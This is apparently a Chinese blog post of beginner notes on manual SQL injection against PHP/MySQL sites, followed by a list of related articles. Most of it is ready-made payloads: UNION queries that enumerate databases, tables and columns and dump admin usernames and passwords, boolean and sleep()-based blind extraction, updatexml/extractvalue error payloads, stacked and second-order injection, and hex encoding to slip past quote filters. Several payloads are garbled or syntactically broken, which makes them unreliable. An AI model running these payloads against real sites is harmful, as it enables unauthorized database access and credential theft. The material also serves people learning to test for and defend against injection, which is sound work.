SQL手工注入入门级笔记(更新中)
一、字符型注入
针对如下php代码进行注入:
$sql="select user_name from users where name='$_GET['name']'";
正常访问URL:http://url/xxx.php?name=admin
此时实际数据库语句:
select user_name from users where name='admin'
利用以上结果可想到SQL注入构造语句:
http://url/xxx.php?name=admin' and '1'='1' --'
此时实际数据库语句:
select user_name from users where name='admin' and '1'='1' --''
在上面的sql语句中可以发现,通过闭合原本的单引号,在后面添加新的查询语句,可达到注入目的。(mysql中两个单引号中间为空会被忽略,若出现单个单引号会有语法错误。)
成功后可以开始进行猜解数据库了:
1、猜字段数
and 1=2 union select 1,2,3,4,5,6……(字段数为多少,后面的数字就到几,如union select 1,2,3,4,5能够成功返回结果则表示字段数为5)
或
order by 6 ( 当某一数字正常返回页面就表示有多少个字段)
2、查库
and 1=2 union select 1,2,3,database(),5,6--+ (利用第四个字段的显示位来显示数据库名,具体位置看具体网站)
3、查表
and 1=2 union select 1,2,3,group_concat(table_name),5,6 from information_schema.tables where table_schema=database()--+ (以MySQL为例 )
4、查字段
and 1=2 union select 1,2,3,group_concat(column_name),5,6 from information_schema.columns where table_schema=database() and table_name='admin'--+ (以MySQL为例,其中admin和单引号 可以使用admin的十六进制代替,其他内容也可以。 )
5、查内容
and 1=2 union select 1,2,3,group_concat(username,password),5,6 from admin --+
上述单引号括起来的内容可以替换为内容的十六进制绕过单引号过滤。
二、布尔盲注(Boolean with blind SQL injection)
第一步:猜数据库长度
?id=1' and length(database())>=1--+
>=1可以自己结合场景自己更换。
第二步:猜数据库名
?id=1' and substr(database(),1,1)='a'--+ 普通版
?id=1' and ord(substr(database(),1,1))=97 --+ ASCII码版---与上面意思相同
substr为截取字符串,从1开始。上面这段表示从1开始截取1个字符。
ord为MySQL中转换ASCII码的函数。
当测出第一个字符以后测试第二个字符 用substr(database(),2,1)=‘a’--+,一共需要测到第一步中猜测出来的长度。
第三步:猜表名
?id=1' and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='a'--+ 直接版可以不用猜解数据库名
?id=1' and substr((select table_name from information_schema.tables where table_schema='sql' limit 0,1),1,1)='a'--+ 普通版 使用第二步猜解出来的数据库名
?id=1' and ord(substr((select table_name from information_schema.tables where table_schema='sql' limit 0,1),1,1))=97 --+ ASCII码版---与上面意思相同
limit 函数表示取出内容的条数范围,从0开始。上段内容limit 0,1表示从第一个开始取1条。则从第二个开始取一条为:limit 1,1。
第三步:猜字段名
?id=1' and substr((select table_name from information_schema.columns where table_schema=database() and table_name='admin' limit 0,1),1,1)='a'--+ 直接版可以不用猜解数据库名
?id=1' and substr((select table_name from information_schema.columns where table_schema='sql' table_name='admin' limit 0,1),1,1)='a'--+ 普通版 使用第二步猜解出来的数据库名
?id=1' and ord(substr((select table_name from information_schema.columns where table_schema='sql' table_name='admin' limit 0,1),1,1))=97 --+ ASCII码版---与上面意思相同
上述单引号括起来的内容可以替换为内容的十六进制绕过单引号过滤。
第四步:猜内容
?id=1' and substr((select username from admin limit 0,1),1,1)='a'--+ 直接版可以不用猜解数据库名
?id=1' and substr((select username from admin limit 0,1),1,1)='a'--+ 普通版 使用第二步猜解出来的数据库名
?id=1' and ord(substr((select username from admin limit 0,1),1,1))=97 --+ ASCII码版---与上面意思相同
三、报错注入
由于程序员或网站维护人员的配置不当,错误信息被输出到了前台,导致可以根据报错进行一系列的操作。
因此可以利用报错注入获取数据,报错注入有很多格式:
1、通过floor报错:
and select 1 from (select count(),concat(version(),floor(rand(0)2))x from information_schema.tables group by x)a);
2、通过ExtractValue报错:
and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
3、通过UpdateXml报错:
and 1=(updatexml(1,concat(0x3a,(select user())),1))
4、通过NAME_CONST报错:
and exists(selectfrom (selectfrom(selectname_const(@@version,0))a join (select name_const(@@version,0))b)c)
5、通过join报错:
select * from(select * from mysql.user ajoin mysql.user b)c;
6、通过exp报错:
and exp(~(select * from (select user () ) a) );
7、通过GeometryCollection()报错:
and GeometryCollection(()select *from(select user () )a)b );
8、通过polygon ()报错:
and polygon (()select * from(select user ())a)b );
9、通过multipoint ()报错:
and multipoint (()select * from(select user() )a)b );
10、通过multlinestring ()报错:
and multlinestring (()select * from(select user () )a)b );
11、通过multpolygon ()报错:
and multpolygon (()select * from(select user () )a)b );
12、通过linestring ()报错:
and linestring (()select * from(select user() )a)b );
这里使用updatexml()
1、利用updatexml获取user()
?user=admin‘ and updatexml(1,concat(0x7e,(select user())),1)--+
0x7e为ASCII码的 ~ 波浪号,为了在返回的报错信息中很方便的查看到想要注入得到的数据,没有别的功能性作用。
2、利用updatexml获取database()
?user=admin‘ and updatexml(1,concat(0x7e,(select database())),1)--+
3、利用updatexml查询数据库
?id=1 and updatexml(1,concat(0x7e,(select distinct concat(0x7e, (select schema_name),0x7e) from admin limit 0,1),0x7e),1)
4、利用updatexml查询表
?id=1 and updatexml(1,concat(0x7e,(select distinct concat(0x7e, (select table_name),0x7e) from admin limit 0,1),0x7e),1)
5、利用updatexml查询字段
?id=1 and updatexml(1,concat(0x7e,(selecct distinct concat(0x7e, (select column_name),0x7e) from admin limit 0,1),0x7e),1)
6、利用updatexml获取字段内容
查表名:?user=admin‘ and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1)),1)--+
查询其他内容就不一一列举,在上面一、二板块有详细内容,融会贯通灵活运用就可以。
其他报错函数利用原理大致相同。
四、延时盲注攻击(Sleep with blind SQL injection)
又称为时间盲注,与Boolean注入非常相似,不同之处在于延时注入使用的是sleep()、benchmark()等造成延时的函数从页面返回耗时来判断。
多用IF(exp1,exp2,exp3)结合使用,若exp1为真,则返回exp2,若exp2为假,则返回exp3。
1、判断数据库名长度
?id=1' and if(length(database())>=3,sleep(5),1)
sleep函数中的参数单位为秒。若数据库长度>=3则睡5秒再返回内容给你,否则直接查询1返回结果。
2、判断数据库内容
?id=1' and if( ord(substr((select column_name from information_schema.columns where table_schema='sql' and table_name='admin' limit 0,1),1,1))=97,sleep(5),1) 猜字段名
?id=1' and if(substr((select username from admin limit 0,1),1,1)='a',sleep(5),1) 猜字段内容
其他查询语句可以参考上面一、二介绍的语句。
五、堆叠查询注入攻击
?id=1’ 加了单引号页面返回错误,?id=1' %23以后页面返回正常则可以利用。
闭合原本的查询语句,构造自己的查询语句(利用方式为布尔盲注和时间盲注)。
1、猜数据库名
?id=1'%23 select if(substr(database(),1,1)='a',sleep(5),1)%23 这里利用的是时间盲注
?id=1'%23 select if(ord(substr(database(),1,1))=97 ,sleep(5),1)%23 这里利用的是布尔盲注
2、猜数据库内容
?id=1'%23 if(ord(substr((select table_name from information_schema.tables where table_schema='sql' limit 0,1),1,1))=97,sleep(5),1)%23 猜表名
?id=1'%23 if(ord(substr((select column_name from information_schema.columns where table_schema='sql' and table_name='admin' limit 0,1),1,1))=97,sleep(5),1)%23 猜字段名
其他查询语句可以参考上面一、二、三、四介绍的语句。
六、二次注入
某一次用户输入的恶意构造内容被保存到数据中,当第二次从数据库中去获取该内容时,用户输入的恶意SQL语句截断了第二次查询的查询语句,执行了用户构造的语句。
比如在注册用户时 用户名设置为 test‘ 在test后面加个单引号,没有过滤输入而保存到数据库中。当去访问个人中心时,发现显示用户名的地方出现了数据库报错,单引号被带到了查询语句中执行了。
原理就是系统对数据库中的内容没有进行过滤而是采取信任,导致从外部无法注入却从内部上查询中注入成功。
SQL手工注入入门级笔记(更新中)的更多相关文章
- Kali学习笔记42:SQL手工注入(4)
前三篇文章都是在讲发现SQL注入漏洞 如何查询得到所有的信息 那么另一条思路还未尝试过:能否修改数据? 例如这样: '; update users set user='yiqing' where us ...
- 小白日记41:kali渗透测试之Web渗透-SQL手工注入(三)-猜测列名、表名、库名、字段内容,数据库写入
SQL手工注入 靶机:metasploitable(低) 1.当无权读取infomation_schema库[MySQL最重要的源数据库,必须有root权限]/拒绝union.order by语句 ...
- 【新手篇】搭建DCN漏洞靶机及简单的SQL手工注入
很多新手小白入门后发现想要学好“网安”技术,除了掌握基础理论知识,更需要经常模拟不同的漏洞环境,但是如果使用外网服务器练习,会存在一定风险,因此能够搭建一个本地的模拟环境去测试漏洞将是一个不错的方案. ...
- 基于dvwa环境下级别为low的SQL手工注入教程
基于dvwa环境下级别为low的SQL手工注入教程: 首先是进入已搭建好的dvwa环境中去(一定要搭建好dvwa环境才能进行下面的操作),这可能会是一些初学者所面临的的第一个问题,比如我,曾为了寻找这 ...
- 小白日记40:kali渗透测试之Web渗透-SQL手工注入(二)-读取文件、写入文件、反弹shell
SQL手工注入 1.读取文件[load_file函数] ' union SELECT null,load_file('/etc/passwd')--+ burpsuite 2.写入文件 ' unio ...
- 小白日记39:kali渗透测试之Web渗透-SQL手工注入(一)-检测方法
SQL手工注入(一) SQL注入:通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令.[SQL注入原理] ##服务端程序将用户输入参数作为查询 ...
- (后端)sql手工注入语句&SQL手工注入大全(转)
转自脚本之家: 看看下面的1.判断是否有注入;and 1=1;and 1=2 2.初步判断是否是mssql;and user>0 3.判断数据库系统;and (select count(*) f ...
- python辅助sql手工注入猜解数据库案例分析
发现存在sql注入漏洞 简单一点可以直接用sqlmap工具暴库 但是如果想深入理解sql注入的原理,可以尝试手工注入,配合python脚本实现手工猜解数据库 首先hachbar开启 获取cms登录后的 ...
- 最新SQL手工注入语句&SQL注入大全
看看下面的1.判断是否有注入;and 1=1;and 1=2 2.初步判断是否是mssql;and user>0 3.判断数据库系统;and (select count(*) from syso ...
随机推荐
- Kafka学习之路
一直在思考写一些什么东西作为2017年开篇博客.突然看到一篇<Kafka学习之路>的博文,觉得十分应景,于是决定搬来这“他山之石”.虽然对于Kafka博客我一向坚持原创,不过这篇来自Con ...
- APP reset.css
html { box-sizing: border-box; } * { user-select: none; -webkit-tap-highlight-color: rgba(255,255,25 ...
- python(一)——初识与变量
---恢复内容开始--- #!/usr/bin/env python #-*- coding:utf8 -*- print('你好hello world') 第一行,主要用于Linux中环境变量,wi ...
- GWAS研究可利用的数据库(持续更新)
1.列表包括数据库名称.表型.是否能下载到基因型(genotype).是否能下载到GWAS结果文件(P值.效应值.SNP位点).目前收集到的有如下: 参考到这些数据库的文献:Genome-wide a ...
- Day4--Python--列表增删改查,元组,range
# 一.列表# 能装东西的东西 列表中装的数据是没有限制的,大小基本上够用# 列表用[]表示# 有索引和切片 [start,end,step] ###增删改查 (重点) # 1.新增 # appent ...
- Docker下安装Influxdb-1.6.1和Grafana5.2.2
第一步.安装Influxdb 首先启动docker systemctl start docker 然后安装Influxdb(这里解释一下为啥用docker,因为官网下载的话需要FQ[fan-qiang ...
- maven+testng+eclipse
1.安装maven 2.安装testng 3.配置maven的dependency,和build <project xmlns="http://maven.apache.org/POM ...
- Unity 后处理堆
Unity安装后处理的过程:windows---PacageManager---Post Processing Post Processing后处理堆需要知道要修改那个相机渲染的内容,先定位到相机,再 ...
- 【BZOJ3894】【Luogu3358】文理分科 - 最小割多选一模型
链接Click Here 这个题就是个板子的最小割多选一模型啦\(QwQ\),这里介绍一种通用的解法. 抛开组合收益不谈,这个题就是一个简单的最小割模型.我们只需要建出来这样一张图,在上面跑最小割,割 ...
- QT:基本知识(一);
注: 该博文为扩展型: 1) QString转换为LPCTSTR QString szStr; LPCTSTR str = (LPWSTR)(szStr.utf16()); 2) 中文 ...